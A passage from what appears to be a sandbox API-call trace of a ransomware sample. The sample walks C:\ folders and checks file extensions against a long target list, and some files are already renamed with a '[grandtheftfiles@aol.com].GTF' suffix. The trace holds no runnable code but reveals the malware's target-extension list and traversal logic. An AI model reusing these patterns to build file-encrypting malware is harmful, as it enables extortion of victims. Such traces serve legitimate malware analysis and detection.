	[0062.651] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".jpe") returned 4
	[0062.651] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".jpeg") returned 5
	[0062.652] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0062.652] lstrlenW (lpString=".jpf") returned 4
	[0062.652] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".jpg") returned 4
	[0062.652] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".jpx") returned 4
	[0062.652] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".js") returned 3
	[0062.652] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0062.652] lstrlenW (lpString=".jsf") returned 4
	[0062.652] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".json") returned 5
	[0062.652] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0062.652] lstrlenW (lpString=".jsp") returned 4
	[0062.652] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".kdc") returned 4
	[0062.652] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".kmz") returned 4
	[0062.652] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".kwm") returned 4
	[0062.652] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".lasso") returned 6
	[0062.652] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0062.652] lstrlenW (lpString=".lbi") returned 4
	[0062.652] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".lgf") returned 4
	[0062.652] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".lgp") returned 4
	[0062.652] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".log") returned 4
	[0062.652] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".m1v") returned 4
	[0062.652] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".m4a") returned 4
	[0062.652] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0062.652] lstrlenW (lpString=".m4v") returned 4
	[0062.653] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".max") returned 4
	[0062.653] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".md") returned 3
	[0062.653] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0062.653] lstrlenW (lpString=".mda") returned 4
	[0062.653] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mdb") returned 4
	[0062.653] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mde") returned 4
	[0062.653] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mdf") returned 4
	[0062.653] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mdw") returned 4
	[0062.653] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mef") returned 4
	[0062.653] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mft") returned 4
	[0062.653] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mfw") returned 4
	[0062.653] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mht") returned 4
	[0062.653] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mhtml") returned 6
	[0062.653] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0062.653] lstrlenW (lpString=".mka") returned 4
	[0062.653] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mkidx") returned 6
	[0062.653] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0062.653] lstrlenW (lpString=".mkv") returned 4
	[0062.653] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0062.653] lstrlenW (lpString=".mos") returned 4
	[0062.653] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".mov") returned 4
	[0062.654] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".mp3") returned 4
	[0062.654] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".mp4") returned 4
	[0062.654] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".mpeg") returned 5
	[0062.654] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0062.654] lstrlenW (lpString=".mpg") returned 4
	[0062.654] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".mpv") returned 4
	[0062.654] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".mrw") returned 4
	[0062.654] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".msg") returned 4
	[0062.654] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".mxl") returned 4
	[0062.654] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".myd") returned 4
	[0062.654] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".myi") returned 4
	[0062.654] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".nef") returned 4
	[0062.654] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".nrw") returned 4
	[0062.654] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0062.654] lstrlenW (lpString=".obj") returned 4
	[0062.654] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".odb") returned 4
	[0062.655] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".odc") returned 4
	[0062.655] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".odm") returned 4
	[0062.655] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".odp") returned 4
	[0062.655] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".ods") returned 4
	[0062.655] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".oft") returned 4
	[0062.655] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".one") returned 4
	[0062.655] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".onepkg") returned 7
	[0062.655] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0062.655] lstrlenW (lpString=".onetoc2") returned 8
	[0062.655] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0062.655] lstrlenW (lpString=".opt") returned 4
	[0062.655] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".oqy") returned 4
	[0062.655] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".orf") returned 4
	[0062.655] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".p12") returned 4
	[0062.655] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0062.655] lstrlenW (lpString=".p7b") returned 4
	[0062.655] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".p7c") returned 4
	[0062.656] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pam") returned 4
	[0062.656] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pbm") returned 4
	[0062.656] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pct") returned 4
	[0062.656] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pcx") returned 4
	[0062.656] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pdd") returned 4
	[0062.656] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pdf") returned 4
	[0062.656] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pdp") returned 4
	[0062.656] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pef") returned 4
	[0062.656] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pem") returned 4
	[0062.656] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pff") returned 4
	[0062.656] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pfm") returned 4
	[0062.656] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pfx") returned 4
	[0062.656] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0062.656] lstrlenW (lpString=".pgm") returned 4
	[0062.656] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0062.657] lstrlenW (lpString=".php") returned 4
	[0062.657] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0062.657] lstrlenW (lpString=".php3") returned 5
	[0062.657] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0062.657] lstrlenW (lpString=".php4") returned 5
	[0062.657] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0062.657] lstrlenW (lpString=".php5") returned 5
	[0062.657] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0062.657] lstrlenW (lpString=".phtml") returned 6
	[0062.657] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0062.657] lstrlenW (lpString=".pict") returned 5
	[0062.657] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0062.657] lstrlenW (lpString=".pl") returned 3
	[0062.657] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0062.657] lstrlenW (lpString=".pls") returned 4
	[0062.657] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0062.657] lstrlenW (lpString=".pm") returned 3
	[0062.657] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0062.657] lstrlenW (lpString=".png") returned 4
	[0062.657] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0062.657] lstrlenW (lpString=".pnm") returned 4
	[0062.657] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0062.657] lstrlenW (lpString=".pot") returned 4
	[0062.657] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0062.657] lstrlenW (lpString=".potm") returned 5
	[0062.657] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0062.657] lstrlenW (lpString=".potx") returned 5
	[0062.657] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0062.658] lstrlenW (lpString=".ppa") returned 4
	[0062.658] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".ppam") returned 5
	[0062.658] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0062.658] lstrlenW (lpString=".ppm") returned 4
	[0062.658] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".pps") returned 4
	[0062.658] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".ppsm") returned 5
	[0062.658] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0062.658] lstrlenW (lpString=".ppt") returned 4
	[0062.658] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".pptm") returned 5
	[0062.658] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0062.658] lstrlenW (lpString=".pptx") returned 5
	[0062.658] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0062.658] lstrlenW (lpString=".prn") returned 4
	[0062.658] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".ps") returned 3
	[0062.658] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0062.658] lstrlenW (lpString=".psb") returned 4
	[0062.658] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".psd") returned 4
	[0062.658] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".pst") returned 4
	[0062.658] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".ptx") returned 4
	[0062.658] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0062.658] lstrlenW (lpString=".pub") returned 4
	[0062.659] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0062.659] lstrlenW (lpString=".pwm") returned 4
	[0062.659] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0062.659] lstrlenW (lpString=".pxr") returned 4
	[0062.660] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0062.660] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c784930, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0062.660] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.660] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.660] FindClose (in: hFindFile=0x811a48 | out: hFindFile=0x811a48) returned 1
	[0062.660] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0062.660] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0062.661] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0062.661] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811fc8
	[0062.661] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9cb3e4ff, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.661] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c784930, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c7d54b5, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0062.661] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0062.661] lstrlenW (lpString=".1cd") returned 4
	[0062.661] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0062.661] lstrlenW (lpString=".3ds") returned 4
	[0062.661] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0062.661] lstrlenW (lpString=".3fr") returned 4
	[0062.661] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0062.661] lstrlenW (lpString=".3g2") returned 4
	[0062.661] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0062.661] lstrlenW (lpString=".3gp") returned 4
	[0062.661] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0062.661] lstrlenW (lpString=".7z") returned 3
	[0062.661] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0062.661] lstrlenW (lpString=".accda") returned 6
	[0062.661] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0062.661] lstrlenW (lpString=".accdb") returned 6
	[0062.662] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0062.662] lstrlenW (lpString=".accdc") returned 6
	[0062.662] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0062.662] lstrlenW (lpString=".accde") returned 6
	[0062.662] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0062.662] lstrlenW (lpString=".accdt") returned 6
	[0062.662] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0062.662] lstrlenW (lpString=".accdw") returned 6
	[0062.662] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0062.662] lstrlenW (lpString=".adb") returned 4
	[0062.662] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0062.662] lstrlenW (lpString=".adp") returned 4
	[0062.662] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0062.662] lstrlenW (lpString=".ai") returned 3
	[0062.662] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0062.662] lstrlenW (lpString=".ai3") returned 4
	[0062.662] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0062.662] lstrlenW (lpString=".ai4") returned 4
	[0062.662] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0062.662] lstrlenW (lpString=".ai5") returned 4
	[0062.662] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0062.662] lstrlenW (lpString=".ai6") returned 4
	[0062.662] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0062.662] lstrlenW (lpString=".ai7") returned 4
	[0062.662] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0062.662] lstrlenW (lpString=".ai8") returned 4
	[0062.662] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".anim") returned 5
	[0062.663] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0062.663] lstrlenW (lpString=".arw") returned 4
	[0062.663] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".as") returned 3
	[0062.663] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0062.663] lstrlenW (lpString=".asa") returned 4
	[0062.663] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".asc") returned 4
	[0062.663] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".ascx") returned 5
	[0062.663] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0062.663] lstrlenW (lpString=".asm") returned 4
	[0062.663] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".asmx") returned 5
	[0062.663] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0062.663] lstrlenW (lpString=".asp") returned 4
	[0062.663] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".aspx") returned 5
	[0062.663] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0062.663] lstrlenW (lpString=".asr") returned 4
	[0062.663] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".asx") returned 4
	[0062.663] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".avi") returned 4
	[0062.663] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0062.663] lstrlenW (lpString=".avs") returned 4
	[0062.663] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".backup") returned 7
	[0062.664] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0062.664] lstrlenW (lpString=".bak") returned 4
	[0062.664] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".bay") returned 4
	[0062.664] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".bd") returned 3
	[0062.664] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0062.664] lstrlenW (lpString=".bin") returned 4
	[0062.664] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".bmp") returned 4
	[0062.664] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".bz2") returned 4
	[0062.664] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".c") returned 2
	[0062.664] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0062.664] lstrlenW (lpString=".cdr") returned 4
	[0062.664] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".cer") returned 4
	[0062.664] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".cf") returned 3
	[0062.664] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0062.664] lstrlenW (lpString=".cfc") returned 4
	[0062.664] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".cfm") returned 4
	[0062.664] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0062.664] lstrlenW (lpString=".cfml") returned 5
	[0062.664] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0062.665] lstrlenW (lpString=".cfu") returned 4
	[0062.665] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".chm") returned 4
	[0062.665] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".cin") returned 4
	[0062.665] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".class") returned 6
	[0062.665] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0062.665] lstrlenW (lpString=".clx") returned 4
	[0062.665] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".config") returned 7
	[0062.665] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0062.665] lstrlenW (lpString=".cpp") returned 4
	[0062.665] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".cr2") returned 4
	[0062.665] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".crt") returned 4
	[0062.665] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".crw") returned 4
	[0062.665] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".cs") returned 3
	[0062.665] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0062.665] lstrlenW (lpString=".css") returned 4
	[0062.665] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".csv") returned 4
	[0062.665] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".cub") returned 4
	[0062.665] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0062.665] lstrlenW (lpString=".dae") returned 4
	[0062.666] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".dat") returned 4
	[0062.666] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".db") returned 3
	[0062.666] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0062.666] lstrlenW (lpString=".dbf") returned 4
	[0062.666] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".dbx") returned 4
	[0062.666] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".dc3") returned 4
	[0062.666] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".dcm") returned 4
	[0062.666] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".dcr") returned 4
	[0062.666] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".der") returned 4
	[0062.666] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0062.666] lstrlenW (lpString=".dib") returned 4
	[0062.666] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
